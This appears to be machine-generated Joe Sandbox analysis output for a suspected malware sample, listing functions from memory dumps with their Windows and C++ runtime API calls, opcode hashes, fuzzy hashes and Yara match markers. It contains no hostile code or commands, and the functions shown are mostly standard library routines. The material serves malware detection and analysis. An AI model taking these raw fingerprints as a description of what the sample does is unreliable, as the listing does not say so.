Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 100972eb18cca990445868258ca18565aedc37090e71be810c06a2a5d3a0331b
Instruction ID: 729770c84ce27e6c8c42f201b3311d6b07cc79c059dea57e61e3cb39290b87e6
Opcode Fuzzy Hash: 100972eb18cca990445868258ca18565aedc37090e71be810c06a2a5d3a0331b
Instruction Fuzzy Hash: 34218131A001099FDF00EFA4CC829BEBBBAEF0D710F104069F509A7251D771AD058B94

Function 0040D3EB Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0040D443
__Xtime_diff_to_millis2.LIBCPMT ref: 0040D45D
_xtime_get.LIBCPMT ref: 0040D480
__Xtime_diff_to_millis2.LIBCPMT ref: 0040D48C

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: da2a6c6b9017671071464d2307a86bc0750b5fd4e9f11ab54acb932ed93cd1ef
Instruction ID: bdb17b43c911747218acdb07252438506425be6b3c89ff1608d2b8794f0e438d
Opcode Fuzzy Hash: da2a6c6b9017671071464d2307a86bc0750b5fd4e9f11ab54acb932ed93cd1ef
Instruction Fuzzy Hash: 0D213B75E002099FDF00EFE5DC829AEB7B8EF49714F10406AF901B7291DB78AD058BA5

Function 004236EF Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000), ref: 00423739
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00423721

Part of subcall function 0041B72C: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0041B74D

__CxxThrowException@8.LIBVCRUNTIME ref: 0042376A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00423793

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Context$Event$Base::Concurrency::details::$ThrowTrace$Exception@8
String ID:
API String ID: 2630251706-0
Opcode ID: 5e2b662396c7d3b6cc96f7267498801861ae87d40925249520363ef0c9760137
Instruction ID: dbe4a0063a9405d5797c392a8f70426852a24ed1b1212b264d4e29dc2c442ee4
Opcode Fuzzy Hash: 5e2b662396c7d3b6cc96f7267498801861ae87d40925249520363ef0c9760137
Instruction Fuzzy Hash: 7A110B747002106BCF04AF65DC85DAEB779EB84761B104167FA06D7292CBAC9D41CA98

Function 00401F9A Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000005), ref: 00401FAF
UpdateWindow.USER32 ref: 00401FB7
ShowWindow.USER32(00000000), ref: 00401FCB
MoveWindow.USER32(00000000,00000000,00000001,00000001,00000001), ref: 0040202E

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Window$Show$MoveUpdate
String ID:
API String ID: 1339878773-0
Opcode ID: 2df54f1dd07e67e892bb3b2eb89b8a5dbc035376ab2a5a7ebcd4eb7b767f49c1
Instruction ID: 602c8894019c05b7ebd6ce0fe59bebabc4bc12c6f09791b7d1b76da355fd2427
Opcode Fuzzy Hash: 2df54f1dd07e67e892bb3b2eb89b8a5dbc035376ab2a5a7ebcd4eb7b767f49c1
Instruction Fuzzy Hash: 2A016531E106109BC7258F19ED04A267BA6EFD5712B15803AF40C972B1D7B1EC428B9C

Function 00699330 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0069934A

Part of subcall function 00699297: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 006992C6
Part of subcall function 00699297: ___AdjustPointer.LIBCMT ref: 006992E1

_UnwindNestedFrames.LIBCMT ref: 0069935F
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00699370
CallCatchBlock.LIBVCRUNTIME ref: 00699398

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction ID: 55d07b538796fc32658632ced661f17820a221017ccff6876a22e03a8e525764
Opcode Fuzzy Hash: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction Fuzzy Hash: FA010532100148BBCF125F99CC42DEB3F6EEF48754F044018FE0896521D232E861ABA5

Function 004290C9 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 004290E3

Part of subcall function 00429030: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0042905F
Part of subcall function 00429030: ___AdjustPointer.LIBCMT ref: 0042907A

_UnwindNestedFrames.LIBCMT ref: 004290F8
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00429109
CallCatchBlock.LIBVCRUNTIME ref: 00429131

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction ID: 13de3582008bd49ed9905958b9893fc78844f15d2a413234128a3f7054c614fd
Opcode Fuzzy Hash: 4c234fcb05df68dfcc16b4f48c2a8e8eee4e6b19d54e674357e13eac91ab2726
Instruction Fuzzy Hash: 86018C32200158BBDF126F96EC41EEB7B69EF88758F444009FE0856121C73AEC71DBA8

Function 006A5196 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,006A513D,00000000,00000000,00000000,00000000,?,006A53F5,00000006,0044A378), ref: 006A51C8
GetLastError.KERNEL32(?,006A513D,00000000,00000000,00000000,00000000,?,006A53F5,00000006,0044A378,0044A370,0044A378,00000000,00000364,?,006A2213), ref: 006A51D4
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,006A513D,00000000,00000000,00000000,00000000,?,006A53F5,00000006,0044A378,0044A370,0044A378,00000000), ref: 006A51E2

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction ID: 0a67c2357158729326eb491d61f194024153be050668adf8f080acfe9caed4f4
Opcode Fuzzy Hash: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction Fuzzy Hash: 8601FC366026226BC721DF699C44FA67B99AF47F617210630F907D7241C720DD01CEE4

Function 00434F2F Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00434ED6,?,00000000,00000000,00000000,?,0043518E,00000006,FlsSetValue), ref: 00434F61
GetLastError.KERNEL32(?,00434ED6,?,00000000,00000000,00000000,?,0043518E,00000006,FlsSetValue,0044A370,FlsSetValue,00000000,00000364,?,00431FAC), ref: 00434F6D
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00434ED6,?,00000000,00000000,00000000,?,0043518E,00000006,FlsSetValue,0044A370,FlsSetValue,00000000), ref: 00434F7B

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction ID: 16700c29e50b3fc45f4951a54cc89878b259fef574b9c48791ea2bf1872b2532
Opcode Fuzzy Hash: 6e3cec70015223281cf71b6663bdf94dd3b9abd137b034a73729b65651623052
Instruction Fuzzy Hash: 9A01FC366152226FC7214F69EC449A77798AF89F71F141631F905D7240D724E9018AEC

Function 00696395 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006963AF
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006963C3
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006963DB
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006963F3

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: b5f7ab14c047905fd70216901c5e1385b70b845791d8bbf4007e0fe87df3df51
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: A401D636600314BBCF16EEA8D881AFF779F9F55750F00001AFC11A7782DA70ED1196A4

Function 00692B82 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00692BB1
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 00692BCF

Part of subcall function 00688687: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 006886A8
Part of subcall function 00688687: Hash.LIBCMT ref: 006886E8

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 00692BD8
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 00692BF8

Part of subcall function 0068F6DF: Hash.LIBCMT ref: 0068F6F1

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: d379dd8d035abd09aa72343d0417816ebca02f1086c5fe86f80796eb41e1f0bb
Instruction ID: b67ac7928d7e2f5c25e45cc78b5daeea12eb4884237609b586fb37b4a64ca32a
Opcode Fuzzy Hash: d379dd8d035abd09aa72343d0417816ebca02f1086c5fe86f80796eb41e1f0bb
Instruction Fuzzy Hash: 1D118E76400204AFCB15EF64C881DCAF7F9AF19320F00865EE55A87552EB70E944CBA4

Function 0042612E Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00426148
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 0042615C
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00426174
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0042618C

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: ecb18499877976be64129c87880db9b40f2952d25c9d93d1b0c0aa07095992c1
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 2901F232700120B7DB12EE5A9801AFF77A99B94354F41005BFC11A7382DA24FD2192A8

Function 00692B91 Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00692BB1
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 00692BCF

Part of subcall function 00688687: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 006886A8
Part of subcall function 00688687: Hash.LIBCMT ref: 006886E8

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 00692BD8
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 00692BF8

Part of subcall function 0068F6DF: Hash.LIBCMT ref: 0068F6F1

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: 36e6617bf236213b9ae2a6ec488584fbad12b714714c281d1e824cb46c32bc20
Instruction ID: 7871817cb5c945d876675e394bf8f78bac7cf15ec96f01b393acd2bcc78d6f14
Opcode Fuzzy Hash: 36e6617bf236213b9ae2a6ec488584fbad12b714714c281d1e824cb46c32bc20
Instruction Fuzzy Hash: 10016D72400604ABCB24EF65C881DDAF7EDEF48320F008A1EE55A87541DB70F944CB64

Function 006750CA Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 006750D1

Part of subcall function 0067BDAE: __EH_prolog3_GS.LIBCMT ref: 0067BDB5

std::_Locinfo::_Locinfo.LIBCPMT ref: 0067511C
__Getcoll.LIBCPMT ref: 0067512B
std::_Locinfo::~_Locinfo.LIBCPMT ref: 0067513B

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: ce8e97c7b3e0e4b8e3963538bfe6a83f80fa99162acc7c008c480bb19ea72e88
Instruction ID: 6373d80797676ecab9c1ca2933f3305d0bf020c48045a3eae0891a87e519bb57
Opcode Fuzzy Hash: ce8e97c7b3e0e4b8e3963538bfe6a83f80fa99162acc7c008c480bb19ea72e88
Instruction Fuzzy Hash: 6601B171810708EFEB90EFA4C441BDCB7B2BF54326F50C16DE0596B282DBB49944CB99

Function 00675B86 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00675B8D

Part of subcall function 0067BDAE: __EH_prolog3_GS.LIBCMT ref: 0067BDB5

std::_Locinfo::_Locinfo.LIBCPMT ref: 00675BD8
__Getcoll.LIBCPMT ref: 00675BE7
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00675BF7

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: 3ebc28f69e14e8dd5a6cad0ea50d7dfb5222f187d88c1105b0055cabbf9d92ae
Instruction ID: 2af029ba66cdfef0f71ebba06156af14be6075cb84db57c907cae75c4bc1975b
Opcode Fuzzy Hash: 3ebc28f69e14e8dd5a6cad0ea50d7dfb5222f187d88c1105b0055cabbf9d92ae
Instruction Fuzzy Hash: 85018C718107089FEB90EFA4C481BDDB7B2BF14325F10C06DE0596B282DBB49944CB98

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00405926

Part of subcall function 0040BB47: __EH_prolog3_GS.LIBCMT ref: 0040BB4E

std::_Locinfo::_Locinfo.LIBCPMT ref: 00405971
__Getcoll.LIBCPMT ref: 00405980
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00405990

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID:
API String ID: 1836011271-0
Opcode ID: b2086962ebb7fbd856c4700f929e36ee99930e1b9d7654548193c6010b29d428
Instruction ID: 86b703767978d3f357e5c0a9ff64a1160fbba7df876fc0f231fbc64f2b881c41
Opcode Fuzzy Hash: b2086962ebb7fbd856c4700f929e36ee99930e1b9d7654548193c6010b29d428
Instruction Fuzzy Hash: 6C013271900208DFDB00EFA5C481B9EB7B0AF40328F10857EE055AB682DB789988CF98

Function 0068C13E Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0068C170
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0068C180
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0068C190
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0068C1A4

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction ID: d1fcb1b653e8f6febc80b7d0a7db386ac0ce649049731b7f13e3df48aec774e8
Opcode Fuzzy Hash: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction Fuzzy Hash: 8701193A004109BBDF12BF94DC968AD3BA7AF49370F148615F958C4132D332CAB5ABA1

Function 0041BED7 Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF09
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF19
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF29
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 0041BF3D

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction ID: a39f72e40e0a7d69bee2e58a2fbea005eb0d9eb8afdd5f219c4e4bdc303a66e9
Opcode Fuzzy Hash: 3b89475e2bdafd6ed96e14fd4d006d48e41723d7c24de3c610b0d4f4f0c7b455
Instruction Fuzzy Hash: 3201FB3745414DBBCF119E64DD429EE3B66EB05354B188417F918C4231C336CAB2AF8D

Function 0067D486 Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 00681342

Part of subcall function 00680BB4: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00680BD6
Part of subcall function 00680BB4: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00680BF7

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00681355
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00681361
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0068136A

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID:
API String ID: 4284812201-0
Opcode ID: 908eada23d29ac960a394de59a6bf3ddc87d7ea813dbe397421aa623f42f7a4d
Instruction ID: 3a8bb626f7f73fd9e1fc6035e8f03c50ceb957c800db931c15f949628ac6e49b
Opcode Fuzzy Hash: 908eada23d29ac960a394de59a6bf3ddc87d7ea813dbe397421aa623f42f7a4d
Instruction Fuzzy Hash: 7CF0B431601308A7ABE47BB408529BD319B5F52324B14876DB5519F381DE759D06A398

Function 00683773 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 0068378C

Part of subcall function 00682B16: ___crtGetTimeFormatEx.LIBCMT ref: 00682B2C
Part of subcall function 00682B16: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00682B4B

GetLastError.KERNEL32 ref: 006837A8
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006837BE
__CxxThrowException@8.LIBVCRUNTIME ref: 006837CC

Part of subcall function 006828EC: SetThreadPriority.KERNEL32(?,?), ref: 006828F8

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: a2b92864322f138175f3ab6e0d311330129b0ba518dce86d5fca6d40f2995285
Instruction ID: d8e7931a10c791ce9b34b0a8566af5732d03bae063e14a2d4480bfb56b269cee
Opcode Fuzzy Hash: a2b92864322f138175f3ab6e0d311330129b0ba518dce86d5fca6d40f2995285
Instruction Fuzzy Hash: F5F0AEF16002153DD760B7755C07FBB369D9B01B51F50092AB945E7182ED94D40443BC

Function 0040D21F Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 004110DB

Part of subcall function 0041094D: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0041096F
Part of subcall function 0041094D: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00410990

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 004110EE
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 004110FA
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00411103

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID:
API String ID: 4284812201-0
Opcode ID: 8666e49e133600df7792f06d5f606e481117c0b37b42e6d91b2f30d9f4c50a68
Instruction ID: 3d6a6adf541079fe7b6c6bfd004b769b4972a14d6898e3ab699feac8cff21146
Opcode Fuzzy Hash: 8666e49e133600df7792f06d5f606e481117c0b37b42e6d91b2f30d9f4c50a68
Instruction Fuzzy Hash: 61F02B31B00204A7DF24BBA644526FE36564F44318F04413FBA12EB3D1DEBC9DC1925D

Function 0041350C Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 00413525

Part of subcall function 004128AF: ___crtGetTimeFormatEx.LIBCMT ref: 004128C5
Part of subcall function 004128AF: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 004128E4

GetLastError.KERNEL32 ref: 00413541
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00413557
__CxxThrowException@8.LIBVCRUNTIME ref: 00413565

Part of subcall function 00412685: SetThreadPriority.KERNEL32(?,?), ref: 00412691

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: a2b92864322f138175f3ab6e0d311330129b0ba518dce86d5fca6d40f2995285
Instruction ID: 4f5043be301f020a87894878a43913a51c3f7b1e9493329acf7807e64a758140
Opcode Fuzzy Hash: a2b92864322f138175f3ab6e0d311330129b0ba518dce86d5fca6d40f2995285
Instruction Fuzzy Hash: 69F0E2B1A002253AE724B6765D07FFB369C9B00B54F50091BB905E60C2EDDCE58042AC

Function 0068D074 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0068D088
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0068D0AC
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0068D0BF
__CxxThrowException@8.LIBVCRUNTIME ref: 0068D0CD

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3657713681-0
Opcode ID: b7c09c7fa46f95498cdc0359c1e5e1487ada7160e74a5b8724d38a9ce94e1cb3
Instruction ID: 9bc3bcf694fef0bf13307766264d74f79a41cb32e4d4ffb7b552508e2ecee4eb
Opcode Fuzzy Hash: b7c09c7fa46f95498cdc0359c1e5e1487ada7160e74a5b8724d38a9ce94e1cb3
Instruction Fuzzy Hash: C8F05931600204A7C760FE50D842C9EB37B8E90B14B70872EE405132C7DF71A90AC776

Function 00682858 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00423592,000000A4,000000FF,0000000C), ref: 0068286F
GetLastError.KERNEL32(?,?,?,?,00688830,?,?,?,?,00000000,?,00000000), ref: 0068287E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00682894
__CxxThrowException@8.LIBVCRUNTIME ref: 006828A2

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
